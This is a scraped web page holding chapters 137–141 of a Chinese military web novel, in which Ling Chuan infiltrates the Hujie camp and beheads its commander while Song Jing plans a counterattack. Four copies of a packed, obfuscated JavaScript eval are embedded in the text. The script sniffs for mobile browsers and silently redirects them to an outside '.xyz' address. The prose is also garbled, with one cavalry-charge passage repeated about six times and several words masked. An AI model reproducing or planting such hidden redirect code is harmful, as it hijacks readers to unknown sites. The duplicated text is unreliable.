;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948053|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 果然,天亮没多久,铁鳞城内边燃起了烽火。 可足足过去了半个时辰,城外依旧毫无动静,这让宋景不由得神色一变。 “这凌川到底是什么情况,不是让他天亮之前赶到吗?”宋景阴沉着一张脸,怒声说道。 一名年近五十,手臂还缠着纱布的将领走上前,说道:“宋老弟消消气,时间紧迫,加上凌川的云岚军不熟地形,未能按时抵达也是情有可原,咱们再等等吧!” 他不是别人,正是朔州主将韩青池。 宋景却是怒火不消,说道:“韩将军你也看到了,昨日敌军的进攻有多凶悍,照这么下去,用不了多久,铁鳞城将彻底被夷为平地!” “原本约定好,只等云岚军一到,从敌军大营后方杀至,制造出混乱,咱们的三路大军便可一拥而上,彻底将其击溃!如今,三路大军枕戈待旦,云岚军却没有出现,回头本将定要治他个延误军机之罪!” 现场的气氛变得异常凝重,谁也没有注意到,跟随宋景而来的参军汪岐眼神中闪过一丝异样之色。 两日前,是他提议让凌川的云岚军改道出关,绕自铁鳞城外,与城内大军里应外合。 时间一点点过去,一直到中午,城外依旧没有动静,而且,相比起昨日,敌军今天的进攻更为猛烈,几乎是不要命一般地发起冲锋,势必要一举攻破铁鳞城。 可宋景并未发现,今日攻城的一直是那几支队伍在轮换。 此时的他,还在因为凌川未能及时赶到延误了军机而大发雷霆。 “将军,云岚军恐怕是到不了了,咱们是继续等,还是提前发起**?”参军汪岐走到宋景跟前,小声询问道。 宋景想了想,对韩青池询问道:“我刚到这里,对情况不太熟悉,我看还是听韩将军的吧!” 韩青池心中暗笑,他岂会不知宋景心里在打什么主意? 把决定权交给自己,胜了大家平分军功,败了则是让自己背锅。 第138章 真是好算计! 韩青池沉默片刻,说道:“宋将军正值当打之年,又深受卢帅器重,此次派你前来支援朔州,理当由宋将军全权指挥,我虽有伤在身,但定会全力配合将军! 韩青池直接将难题给丢了回去,宋景虽面如常色,可心里却暗骂老狐狸。 宋景不想在这件事情上跟对方过多拉扯,毕竟,除了铁鳞城内,另外两路大军从天亮之前便已经就位,只等着自己一声令下,便火速出击,直奔敌军大营。 然而,他等的凌川却迟迟没有到来,城内每隔一个时辰便燃一次烽火,城外更是杀声震天。 宋景示意众人散去,只留下汪岐。 “我现在只想知道,凌川还能不能到? 见宋景满脸怒火地盯着自己,汪岐内心发毛,连忙说道:“按理说,今日中午之前也该抵达了…… “你知道我不是问这个!宋景猛拍桌案,站起身来,那双目光仿佛要将人撕碎。 就在此时,一名传信兵冲了进来,大喊道:“报…… “讲!宋景声音冰冷,每隔一刻钟传信兵便会来一次,他已经麻木了。 “启禀将军,鬼哭岭来报,昨日云岚军出鬼哭岭后,在六十里处遭遇了一支三千人的胡骑!传信兵大声说道。 “什么?宋景顿时一惊,连忙问道:“云岚军全都死光了? 在他看来,云岚军不过一千五百人,其中还有不少是没上过战场的新兵,他们断然不是两倍于他们的胡羯骑兵的对手。 “快报上说,三千胡骑被全歼,云岚军只有二十人战死,五十余人受伤,现已返回关内,至于剩下的云岚军则是不知去向! “轰…… 宋景只感觉脑袋嗡的一声炸响,汪岐更是脸色剧变,连忙问道:“你是说,三千胡骑全部被斩杀,云岚军只死伤了几十人?这怎么可能,这情报绝对有假…… “大人,情报上确实是这么说的!传信兵说道。 宋景的内心也被这则情报激起惊涛骇浪,一千五百人,斩杀三千胡骑,己方只死伤几十人,若情报为真,如此辉煌的战绩,放眼整个历史,也是绝无仅有的存在。 别说是凌川的云岚军,就算是放眼整个北疆,将那几支最为精锐的军团拉出来,也断然打不出如此惊世骇俗的战绩。 云岚军之中,不少都是从死字营中抽掉出去的军奴,固然有一些曾经的军中好手,但顶破天也就占据半数,而另外一部分则是连战场都没上过。 通常,新兵第一次上战场 ,大多都会被吓得双腿打颤,这无关懦弱与勇猛,就算是很多威震沙场的名将,在身为小卒之时第一次上战场,也是这般场景。 宋景让传信兵退下之后,再次将目光看向汪岐,说道:“是你把云岚军的行踪泄露给胡羯人,所以,才会引得那支骑兵前去截杀云岚军的吧?” 宋景不傻,结合之前汪岐积极献策,让云岚军改道鬼哭岭,再联想到章绩多次想要除掉凌川,立马就展开了诸多联想。 汪岐与章绩之间的关系,在北疆本就不是什么秘密,章绩更是几次让汪岐来拉拢自己。 对此,汪岐并未否认,而是笑道:“将军此言差矣,下令让云岚军改道出关的是将军您,至于遭遇胡骑,不过是巧合而已!” 宋景面带笑意,继续看着汪岐,后者不知其内心的真实想法,继续说道:“不仅下令的是将军,全歼三千胡骑这份军功,也是将军您的!” 宋景冷笑道:“真是好算计啊!” 宋景站在沙盘跟前,双目如电在沙盘之上来回扫过。 良久,他长出一口气,似是下定了某种决心,说道:“不能再等了,今日必须反击!” 他叫来帐外传信兵,果断下令:“传令铜丘镇的八千云州军,午时三刻发起进攻,直插敌军大营左翼,以摧毁其辎重粮草为主!” “传令白塔镇的一万朔州军,午时三刻发起总攻,直扑敌军大营右翼,以侵扰游袭为主,不可恋战!” “整顿铁鳞城一万五千兵马,等左右两路大军交锋便打开城门,直接压上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948054|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 宋景接连下达了三道命令,随后又让人告诉韩青池,让他坐镇城内指挥剩余的五千守军,随时做好支援的准备。 成败在此一战,若胜,他宋景将更进一步,将四品将军前面那个‘从’字去掉,成为货真价实的正四品忠武将军,若败,大不了葬身这铁鳞城外。 …… 临近巳时。 红枫原陆续冒出一千五百骑,一个个精神饱满,兵甲鲜亮。 所有人卸下兵甲之外的一切负重,将剩下的一千六百多匹战马也留在了红枫原之中。 “出发!” 凌川沉声吐出两个字,没有多余的话语,因为,战术安排已经提前传达,甚至凌川还与众标长推演了好几遍,确保万无一失。 这一次,没有过多的战术安排,五标人马全部**在一起,直扑敌军大营,而凌川则是带着亲兵队先行。 半个时辰之后,凌川与一众亲兵队来到距离胡羯大营一里之外的土坑中,这是挖出来蓄水喂马的,充斥着着一股酸臭味。 只见凌川与另外三名亲兵换上了胡羯人的铠甲,就连战刀也换上了胡羯人的弯刀,唯一的不同之处就是,每人后腰多了一把匣子**。 “我带几个人先进去,一旦得手,你们负责接应!”凌川对苍蝇交代道。 “大人,让我们去吧,你不能冒这个险!”苍蝇满脸担忧地说道。 凌川瞪了她一眼,问道:“你想当校尉?” 苍蝇连忙摆手,说道:“大人我不是这意思,我是说……” “那就闭嘴,执行命令!”凌川直接打断了他。 很快,凌川便带着三个人骑上之前缴获的胡羯战马,直奔胡羯中军大营而去。 此次行动,他没有告诉其他几位标长,就连亲兵队,也是在抵达这里之后,才知道凌川的真正计划。 一行四人,分别是孟钊和沈珏这两名亲兵副队,外加寇悔和凌川。 很快,便来到大营两百步之外,辕门之上传来一声大喝:“止步!” 第139章 斩首行动! “紧急军情!”寇悔用胡语大喊道根本没有减速的意思。 虽然他们几人皆用印着狼头纹饰的毛毡蒙住脸但考虑到战场风沙辕门上的守军并未起疑连忙示意下方放行。 一行四骑进入大营之后直奔中军大帐而去。 沿途的胡羯士兵见状纷纷避让就连亲兵都没有阻拦任由几人进入帅帐。 几人阔步进入大帐随即单膝跪地左手抱住右肩寇准用胡语大声说道:“将军一支周军直奔大营后方而来似要偷袭咱们后方!” 主位之上坐着一名魁梧中年男子约莫五十来岁鹰翎髻上透着几缕斑白狼髑髅冠被放在一旁的案几之上。 此人不是别人正是第四路大军主将 “来了多少人?”狼蚀用粗犷的声音问道从始至终都未曾抬头。 “三千人!”寇悔继续用胡语回答道。 狼蚀冷笑一声:“区区三千人也敢偷袭我大营真是异想天开!” 寇悔目光闪烁继续说道:“属下刚刚还接到消息对方还派了一支小队直奔将军大营而来!” 狼蚀目光一冷顿时哈哈大笑起来“哈哈哈哈……我纵横大漠半生想要我这颗脑袋的人多了去了几只不知死活的蝼蚁真是可笑。” 紧接着他目光之中闪过冷漠杀机说道:“我倒想看一看是哪个不怕死的竟然赶来突袭帅帐!” “他们已经来了!”寇悔抬起头看着狼蚀说道。 “来了?人在哪里?”狼蚀问道。 “在这里!” 这句话是中原语言让狼蚀神色一变。 可没等他反应过来一道身影忽然暴起直噗狼蚀只见他一只手探至身后取出匣子**对着狼蚀扣动了机括。 “咻咻咻……” 凌川也顾不得其他扣动机括连射三轮将九支**箭全部射出。 狼蚀瞳孔一缩抓起桌上的羊皮地图挥舞将大半**箭挡下可还是有三支穿过羊皮卷分别射在他的手臂和胸口。 而且这**箭直接穿透了铠甲一缕缕鲜血渗透出来。 “吼……” 狼蚀大喝一声正欲起身却发现对方一跃而起手中弯刀挥洒出大片寒芒直接朝着自己的脖子削了过来。 狼蚀气势陡升直接一把将案几掀翻。 伴随着一道碎裂声案几被一刀劈成两半而狼蚀也趁机闪到一旁正欲去取刀架上的弯刀结果另一道身 影已经扑上来,朝着他一道斩下。 狼蚀大惊,连忙将手缩了回来,不然,自己整条手臂都将被气一刀斩断。 与此同时,凌川再次扑了上去,猛然一脚踹出,狼蚀架起手臂抵挡,硬抗下这势大力沉的一脚。 “砰……” 一声闷响,狼蚀身体一个趔趄,只感觉手臂一阵剧痛。 凌川与沈珏二人不敢有丝毫停留,再次提刀扑了上去。 对于他们来说,机会稍纵即逝,若不能一口气将其干掉,不但这次斩首行动将以失败告终,他们这四**概率都会死在这里,甚至整个战斗也会因此宣告失败。 失败的后果就是,整个云岚军全部埋骨在这铁鳞城外。 两人联手之下,狼蚀顿时落入下风。 “嗤……” 只见一抹鲜血飚射而出,凌川一道划破他的肩膀,沈珏也趁着他吃痛的刹那出手,一刀洞穿了他的大腿。 帅帐中的巨大响动,也惊动了外面的亲兵,只见两名亲兵撩开帘子便冲了进来,可刚踏入帐中,便感觉脖子一凉。 “嗤嗤……” 两名亲兵连反应的机会都没有,直接被一刀封喉,倒在地上。 “敌袭!” 外面狼蚀的亲兵也被惊动,十多人纷纷拔出弯刀冲了过来。 然而,他们刚冲进帅营,便看到两人手持一个从未见过的东西,对着他们射出短箭。 “噗噗噗……” 又是几名亲兵应声倒下,孟钊和寇悔二人一口气将**甲射空,当场放倒了八名亲兵,但外面还有亲兵涌进来,二人没有丝毫犹豫,直接迎了上去,势必要将其堵在门外。 与此同时,狼蚀也被凌川与沈珏二人死死压制,浑身上下十多处伤口,铠甲都被鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948055|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血染红。 “狡诈的周人!”狼蚀口吐鲜血,目眦欲裂。 他做梦也想不到,周军竟然真有人敢潜入自己的帅营,对自己实施斩首。 在以往的认知中,周军在草原勇士面前,不过是待宰的羔羊,就算是交战,也大多是攻守战,短兵相接的情况并不多。 然而,今日竟然真有人敢潜到自己身边来,这让他大为震惊,而且,这几人的实力非常恐怖,从战斗一开始,自己便处处占据先机,被其死死压制。 昨夜,主力军已经撤走,偌大的军营,大部分都是空营,按照原本的计划,自己只需今日再佯攻一天,晚上便会全军撤离。 可他没想到,关键时刻竟然出了这样的变故,这让他既憋屈又 愤怒。 就在此刻,沈珏也取下自己的匣子**,迅速扣动机括,这么短的距离内,狼蚀根本无法躲避,九支短箭全部射入他的身体之中,半截露在外面,半截没入身体。 狼蚀身体一个趔趄,险些栽倒,但他还是强行让自己站立,草原勇士,哪怕有一口气在,也决不能倒下。 “死!” 一声暴喝传来,凌川再次扑上去,一刀斩下。 此时的狼蚀已经无处躲避,只能抬起手臂,希望用臂甲挡住这一刀。 然而,他还是低估了凌川这一刀的恐怖,胡羯弯刀虽然不及苍生那般锋利,但也比周军制式战刀要锋利不少,再加上这段时间凌川在杨铁匠的指点下,刀术更是突飞猛进。 招式还是那些招式,但每一招的威力却飙升了一大截。 “嗤……” 鲜血飞洒而出,狼蚀的手臂直接被斩断,朝着地上掉落而去。 “啊……” 一声惨叫响彻大帐,狼蚀捂着血如泉涌的断臂,踉踉跄跄后退。 而凌川却再次出刀,只见弯刀之上寒芒宛如浪潮一般洒出,直接划过了狼蚀的脖子。 狼蚀的惨叫声戛然而止,双目圆瞪,满脸的不甘与恐惧。 紧接着,只见他脖子一歪,整颗脑袋直接滚落下来。 第140章 大好头颅挂辕门! 一众亲兵冲破孟钊与寇悔二人的防线,可进屋之后,刚好看到自家将军被人一刀枭首的惨烈一幕,所有人呆滞当场,脑海中更是一片空白。 主将死,亲兵营皆斩,这是自古就有的军规! 只见凌川一手抓住鹰翎髻,手提战刀走上来与寇悔二人站成一排。 斩首行动已经完成,接下来,就该考虑如何脱身了。 “你们先走,我拖住他们!”寇悔眼底闪过一抹决然之色,小声说道。 “放**狗屁,老子没有丢下同袍的习惯!”凌川将狼蚀的人头栓在腰上,大喝道:“随我杀出去!” 话音刚落凌川率先杀上前去,另外三人见状,大吼一声,也跟着朝外面杀去。 “杀……” 四个人,四把刀,却硬生生将数十名亲兵逼退,从帅帐中杀了出来。 意识到凌川等人要跑,这些亲兵也悍不畏死地围了上去。 凌川四人没有携带盾牌和**,无法组建五行锥阵,只能用战刀不断往前杀。 片刻间,四人浑身染血,大多数都是敌人的,但,寇悔和孟钊二人也都受了伤。 艰难朝前推了数十步,凌川等人终于看到了自己的战马,眼神之中也顿时燃起了希望。 “坚持住!”凌川大喝道。 就在此时,几道破空声传来,只见挡在四人前面的几名亲兵被后方飞来的铁箭射杀,这让原本密不透风的包围圈出现了一个缺口。 “走!” 凌川带头,率先从缺口冲了出去,另外三人紧随其后。 虽然沿途也遇到了敌人的阻拦,但并未形成合围之势,竟然让他们利用这刹那的空挡,冲到战马跟前。 “上马!” 凌川一声令下,四人快速上马,可就在此时,一把弯刀劈在沈珏的后背,沈珏闷哼一声,转身一刀横扫,将那人枭首。 四人驱马狂奔,后方一众亲兵直接追了上来,忽然,又是几支铁箭飞来,将冲在前面的几人射杀。 他们知道,定然是聂星寒出手了,整个亲兵队,乃至整个云岚军中,能有此箭术的,找不出第二个人。 此时,狼蚀将军被斩首的消息还仅限于亲兵队,并未在营中传开,所以,当凌川等人驭马飞驰,离开中军大营之后,一路上变得畅通无阻。 眼看就来的辕门跟前,后方传来大吼声:“他们是周军**,给我拦住他们!” 辕门之上那名百夫长正欲下令,结果从侧面飞来一支铁箭,直接贯穿他的太阳穴 。 “噗……” 只见那名百夫长直接从辕门之上栽倒下来,与此同时,凌川四人从辕门飞驰而过。 就在这时,凌川将栓在腰间那颗头颅扯下,高高抛起。 站在一座空账顶上的聂星寒立马意会,又是一箭射出,这一箭并未射中头颅,而是从发髻中穿过,随后铁箭带着狼蚀的人头钉在辕门之上。 一众胡羯兵见状,顿时被吓得肝胆俱裂,一个个连手中兵器都拿捏不稳。 “是将军,将军被人杀了!”有人失声大喊道。 消息宛如妖风一般,在大营迅速传开,一发不可收拾。 凌川四人从辕门飞驰而出,紧接着,大批骑兵自营中追了出来,对着凌川等人便开始放箭。 “趴下!” 几人连忙趴下,用身体紧贴着马背,就在此时,前方涌现出数十道身影,一字排开,朝着凌川等人冲来。 “校尉大人,我们来了!” 苍蝇率亲兵队赶来,为了掩护凌川等人撤退,他直接下令众人仰射,数十支铁箭射出,挡住了追击而来的胡羯骑兵。 见凌川四人靠近,亲兵队让开一道口子,让几人撤到后方。 “放箭!”苍蝇再次下令。 四十多名亲兵齐齐拉开破甲弓,一轮平射下去,追来的几十名胡羯骑兵当场被放倒大半,破甲弓的射程和准度,在这一刻体现得淋漓尽致。 三轮箭之后,数十骑要么直接被射杀,要么跌**背,哀嚎不止。 “杀……” 苍蝇大吼一声,直接拔出战刀,冲上去收割人头。 逃回来的凌川四人浑身是血,除了凌川之外,其余三人皆受伤。 好在寇悔与孟钊的伤势都不重,只是沈珏后背被劈开一道触目惊心的口子,主要是他们穿的是胡羯人的皮甲,要是自己的铠甲,完全能挡住这一刀。 凌川叫来一名亲兵,让他送沈珏先撤出去,此时的沈珏后背被早已被鲜血染透,脸色一阵苍白,但他还是摇头说道:“大人,我还可以战!” 凌川抓着他的肩膀,说道:“沈珏听令!” “属下在!”沈珏强提一口气,大声回答道。 “我命令你,撤退,处理伤势!” “是……” 之前,凌川让刘晏制作了很多金疮药粉,出征之前,给每位士兵发了一包。 那名士兵扶着沈珏上了马背,朝着后方撤离,而凌川三人则是迅速换上自己的轻甲和战刀,为匣子**补充了短箭,调 转马头又杀了回去,与亲兵队汇合。 当凌川三人再次归队的时候,苍蝇已经带着一众亲兵将对方追来的数十骑全部斩杀。 与此同时,一杆死字大旗出现在胡羯阵营后方,大旗下方是整整一千五百骑。 三百重甲兵依旧冲在最前方,大牛扛着死字旗,紧跟在唐岿然身后。 这一次,情况特殊,凌川只带着亲兵队前来执行斩首任务,所以,便让大牛以唐岿然为主将,扛着大旗,为后方四标轻骑指明前进方向。 唐岿然抬起手中**直指前方那成片营帐,大喝一声:“杀……” 霎时间,三百重甲兵宛如滚石一般,冲杀向前,紧接着,后方以一千二百轻骑兵宛如大鹏展翅一般,缓缓展开阵型,朝着前方营帐杀去。 数千座营帐,宛如山峦连绵,旌旗蔽野、猎猎作响。 但,他们很清楚,这里绝大多数都是空帐,敌人的主力军已经于昨夜撤走,只剩下六千余兵力外加三千多辅兵。 而且,现在六千战兵大多都在前方攻打铁鳞城,虽说只是佯攻,但这种机密只有高层知道,那些胡羯士兵接到的命令是,日落之前,不惜一切代价拿下铁鳞城,谁敢懈战,立斩! 所以,此时营帐之中,真正的战兵只有一千余人,剩下的便是三千多辅兵。 转马头又杀了回去,与亲兵队汇合。 当凌川三人再次归队的时候,苍蝇已经带着一众亲兵将对方追来的数十骑全部斩杀。 与此同时,一杆死字大旗出现在胡羯阵营后方,大旗下方是整整一千五百骑。 三百重甲兵依旧冲在最前方,大牛扛着死字旗,紧跟在唐岿然身后。 这一次,情况特殊,凌川只带着亲兵队前来执行斩首任务,所以,便让大牛以唐岿然为主将,扛着大旗,为后方四标轻骑指明前进方向。 唐岿然抬起手中**直指前方那成片营帐,大喝一声:“杀……” 霎时间,三百重甲兵宛如滚石一般,冲杀向前,紧接着,后方以一千二百轻骑兵宛如大鹏展翅一般,缓缓展开阵型,朝着前方营帐杀去。 数千座营帐,宛如山峦连绵,旌旗蔽野、猎猎作响。 但,他们很清楚,这里绝大多数都是空帐,敌人的主力军已经于昨夜撤走,只剩下六千余兵力外加三千多辅兵。 而且,现在六千战兵大多都在前方攻打铁鳞城,虽说只是佯攻,但这种机密只有高层知道,那些胡羯士兵接到的命令是,日落之前,不惜一切代价拿下铁鳞城,谁敢懈战,立斩! 所以,此时营帐之中,真正的战兵只有一千余人,剩下的便是三千多辅兵。 转马头又杀了回去,与亲兵队汇合。 当凌川三人再次归队的时候,苍蝇已经带着一众亲兵将对方追来的数十骑全部斩杀。 与此同时,一杆死字大旗出现在胡羯阵营后方,大旗下方是整整一千五百骑。 三百重甲兵依旧冲在最前方,大牛扛着死字旗,紧跟在唐岿然身后。 这一次,情况特殊,凌川只带着亲兵队前来执行斩首任务,所以,便让大牛以唐岿然为主将,扛着大旗,为后方四标轻骑指明前进方向。 唐岿然抬起手中**直指前方那成片营帐,大喝一声:“杀……” 霎时间,三百重甲兵宛如滚石一般,冲杀向前,紧接着,后方以一千二百轻骑兵宛如大鹏展翅一般,缓缓展开阵型,朝着前方营帐杀去。 数千座营帐,宛如山峦连绵,旌旗蔽野、猎猎作响。 但,他们很清楚,这里绝大多数都是空帐,敌人的主力军已经于昨夜撤走,只剩下六千余兵力外加三千多辅兵。 而且,现在六千战兵大多都在前方攻打铁鳞城,虽说只是佯攻,但这种机密只有高层知道,那些胡羯士兵接到的命令是,日落之前,不惜一切代价拿下铁鳞城,谁敢懈战,立斩! 所以,此时营帐之中,真正的战兵只有一千余人,剩下的便是三千多辅兵。 转马头又杀了回去,与亲兵队汇合。 当凌川三人再次归队的时候,苍蝇已经带着一众亲兵将对方追来的数十骑全部斩杀。 与此同时,一杆死字大旗出现在胡羯阵营后方,大旗下方是整整一千五百骑。 三百重甲兵依旧冲在最前方,大牛扛着死字旗,紧跟在唐岿然身后。 这一次,情况特殊,凌川只带着亲兵队前来执行斩首任务,所以,便让大牛以唐岿然为主将,扛着大旗,为后方四标轻骑指明前进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948056|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向。 唐岿然抬起手中**直指前方那成片营帐,大喝一声:“杀……” 霎时间,三百重甲兵宛如滚石一般,冲杀向前,紧接着,后方以一千二百轻骑兵宛如大鹏展翅一般,缓缓展开阵型,朝着前方营帐杀去。 数千座营帐,宛如山峦连绵,旌旗蔽野、猎猎作响。 但,他们很清楚,这里绝大多数都是空帐,敌人的主力军已经于昨夜撤走,只剩下六千余兵力外加三千多辅兵。 而且,现在六千战兵大多都在前方攻打铁鳞城,虽说只是佯攻,但这种机密只有高层知道,那些胡羯士兵接到的命令是,日落之前,不惜一切代价拿下铁鳞城,谁敢懈战,立斩! 所以,此时营帐之中,真正的战兵只有一千余人,剩下的便是三千多辅兵。 转马头又杀了回去,与亲兵队汇合。 当凌川三人再次归队的时候,苍蝇已经带着一众亲兵将对方追来的数十骑全部斩杀。 与此同时,一杆死字大旗出现在胡羯阵营后方,大旗下方是整整一千五百骑。 三百重甲兵依旧冲在最前方,大牛扛着死字旗,紧跟在唐岿然身后。 这一次,情况特殊,凌川只带着亲兵队前来执行斩首任务,所以,便让大牛以唐岿然为主将,扛着大旗,为后方四标轻骑指明前进方向。 唐岿然抬起手中**直指前方那成片营帐,大喝一声:“杀……” 霎时间,三百重甲兵宛如滚石一般,冲杀向前,紧接着,后方以一千二百轻骑兵宛如大鹏展翅一般,缓缓展开阵型,朝着前方营帐杀去。 数千座营帐,宛如山峦连绵,旌旗蔽野、猎猎作响。 但,他们很清楚,这里绝大多数都是空帐,敌人的主力军已经于昨夜撤走,只剩下六千余兵力外加三千多辅兵。 而且,现在六千战兵大多都在前方攻打铁鳞城,虽说只是佯攻,但这种机密只有高层知道,那些胡羯士兵接到的命令是,日落之前,不惜一切代价拿下铁鳞城,谁敢懈战,立斩! 所以,此时营帐之中,真正的战兵只有一千余人,剩下的便是三千多辅兵。 转马头又杀了回去,与亲兵队汇合。 当凌川三人再次归队的时候,苍蝇已经带着一众亲兵将对方追来的数十骑全部斩杀。 与此同时,一杆死字大旗出现在胡羯阵营后方,大旗下方是整整一千五百骑。 三百重甲兵依旧冲在最前方,大牛扛着死字旗,紧跟在唐岿然身后。 这一次,情况特殊,凌川只带着亲兵队前来执行斩首任务,所以,便让大牛以唐岿然为主将,扛着大旗,为后方四标轻骑指明前进方向。 唐岿然抬起手中**直指前方那成片营帐,大喝一声:“杀……” 霎时间,三百重甲兵宛如滚石一般,冲杀向前,紧接着,后方以一千二百轻骑兵宛如大鹏展翅一般,缓缓展开阵型,朝着前方营帐杀去。 数千座营帐,宛如山峦连绵,旌旗蔽野、猎猎作响。 但,他们很清楚,这里绝大多数都是空帐,敌人的主力军已经于昨夜撤走,只剩下六千余兵力外加三千多辅兵。 而且,现在六千战兵大多都在前方攻打铁鳞城,虽说只是佯攻,但这种机密只有高层知道,那些胡羯士兵接到的命令是,日落之前,不惜一切代价拿下铁鳞城,谁敢懈战,立斩! 所以,此时营帐之中,真正的战兵只有一千余人,剩下的便是三千多辅兵。 转马头又杀了回去,与亲兵队汇合。 当凌川三人再次归队的时候,苍蝇已经带着一众亲兵将对方追来的数十骑全部斩杀。 与此同时,一杆死字大旗出现在胡羯阵营后方,大旗下方是整整一千五百骑。 三百重甲兵依旧冲在最前方,大牛扛着死字旗,紧跟在唐岿然身后。 这一次,情况特殊,凌川只带着亲兵队前来执行斩首任务,所以,便让大牛以唐岿然为主将,扛着大旗,为后方四标轻骑指明前进方向。 唐岿然抬起手中**直指前方那成片营帐,大喝一声:“杀……” 霎时间,三百重甲兵宛如滚石一般,冲杀向前,紧接着,后方以一千二百轻骑兵宛如大鹏展翅一般,缓缓展开阵型,朝着前方营帐杀去。 数千座营帐,宛如山峦连绵,旌旗蔽野、猎猎作响。 但,他们很清楚,这里绝大多数都是空帐,敌人的主力军已经于昨夜撤走,只剩下六千余兵力外加三千多辅兵。 而且,现在六千战兵大多都在前方攻打铁鳞城,虽说只是佯攻,但这种机密只有高层知道,那些胡羯士兵接到的命令是,日落之前,不惜一切代价拿下铁鳞城,谁敢懈战,立斩! 所以,此时营帐之中,真正的战兵只有一千余人,剩下的便是三千多辅兵。 第141章 死字旗再现沙场! 重甲兵一路冲锋,将一座座营帐撕裂。 正如之前预料的那般,这后方所有营帐皆为空帐,看不到半个人影。 重甲兵势如破竹,一冲而过,而后方的轻骑则是负责放火焚烧营帐,很快,一排排营帐便被点燃,刹那间便形成燎原之势。 这种联营最怕的便是火攻,特别是在草原这种开阔地带,一旦火势燎原,在风的助推下根本束手无策。 当然,正常情况下,若是营帐中都有驻军,就算完成放火,对方也能在火势起来之前,将其扑灭。 一千多骑兵急速冲锋,宛如洪流朝前碾压,后方是滔天大火,成排营帐顷刻间付之一炬,而且,火势还在迅速蔓延,远远看去,死字营仿佛就是携带天火杀至的天兵。 直到死字营一路杀到营帐中段的时候,终于见到了活人,那是胡羯军中的辅兵。 这些辅兵一般负责粮草押运、搭建营帐以及器械运输,基本上不参与作战冲锋,而且,这些辅兵大多是从奴隶部落强行征来的,为了防止他们**和逃走,基本上不会配备兵器给他们,甚至,在必要的时候,还会给他们上脚镣。 见大批骑兵冲破营帐杀进来,这些辅兵被吓得惊慌大叫,撒腿便跑。 可他们两条腿又怎么可能跑得过战马,很快便被重甲兵追上,重甲兵甚至都没有出枪,直接骑着战马撞了上去,很多人当场被飞出去,还来不及起身,沉重的铁蹄便踩在他们身上。 他们甚至能听到自己骨头被踩碎的声音,一时间,惨叫连连,哀嚎阵阵。 在骑兵战阵面前,一旦倒下,就再难站起来。 不断有辅兵被撞到,被踩死,场面极其惨烈。 虽说对方不是真正的战兵,但,上了战场便是敌人,见面便是生死搏杀,谁也不会留情。 事实上,对于唐岿然来说,杀他们并不在目的,其目的是要一路驱赶,让他们径直往前冲,让整片大营彻底混乱。 同样,营帐两侧各有一标轻骑,负责斩杀那些逃出营帐的辅兵,其目的同样是驱赶他们朝着营帐前方逃。 而此时中军大帐周围,随着主将狼蚀被人斩首的消息迅速传开,整片营帐也乱成了一锅粥,一开始,很多人还不相信,纷纷跑到辕门跟前求证。 当看到那颗带血头颅正悬挂在辕门之上时,无数人脸色剧变,只感觉天都要塌了。 狼蚀将军竟然真的**了! 今日,大部分将领都带兵在轮番攻打铁鳞城,营中除了狼蚀之外,并无其他将领,此时,这 一千多战兵群龙无首,一片混乱。 而就在此时,营帐后方燃起熊熊大火,漫天喊杀声席卷而来,这无疑让他们心中的恐惧又加深了几分。 铁鳞城内,宋景擐甲执兵,紧盯着沙漏,再有半个时辰,铜丘镇与白塔镇的两路兵马便会发起进攻,紧接着,自己也会率领城中一万多兵力杀出去。 他也算是沙场老将了,可这一刻却显得有些紧张。 “报!”就在此时,门外传来传信兵的声音。 “将军,有情况!”那名传讯兵满脸惊慌。 “快说!”宋景霍然起身,连忙问道。 “城外……城外敌军炸营了!” “炸营?”宋景神色巨变,顾不得其他火速朝着城墙赶去。 来到城墙之上,放眼望去,只见一片高达数丈的火墙从北向南迅速蔓延而来。 火墙前方,是一支骑兵,宛如黑色洪流,一路摧毁营帐,驱赶胡羯辅兵。 大量辅兵如兽潮一般,朝着前方逃窜,喊杀声与惨叫声就连城墙之上都能隐约听见。 “这是怎么回事?”宋景双目圆瞪,满脸的不可置信。 